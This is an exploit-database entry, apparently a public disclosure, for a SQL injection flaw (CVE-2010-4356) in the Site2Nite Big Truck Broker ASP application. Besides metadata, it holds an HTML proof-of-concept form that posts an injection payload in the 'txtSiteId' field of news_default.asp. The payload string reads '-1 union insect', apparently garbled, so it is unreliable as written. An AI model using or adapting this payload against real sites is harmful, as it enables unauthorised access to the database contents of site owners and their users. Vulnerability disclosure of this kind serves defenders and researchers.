Site2Nite Big Truck Broker - 'txtSiteId' SQL Injection

Author: underground-stockholm.com
type: webapps
platform: asp
port: 
date_added: 2010-11-28 
date_updated: 2010-11-28 
verified: 1 
codes: CVE-2010-4356;OSVDB-69505 
tags: 
aliases:  
screenshot_url:  
application_url:

<!--
Site2Nite Big Truck Broker "txtSiteId" SQL Injection Vulnerability
PRODUCT: Site2Nite Big Truck Broker
PRODUCT URL: http://www.site2nite.com/productdetail.asp?id=14
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/
-->
<html>
<body>
<form method="post" action="http://[host]/[path]/news_default.asp">
<input type="text" name="txtSiteId" value="-1 union insect">
<input type="hidden" name="cmdSearchId" value="Go">
<input type="submit">
</form>
</body>
</html>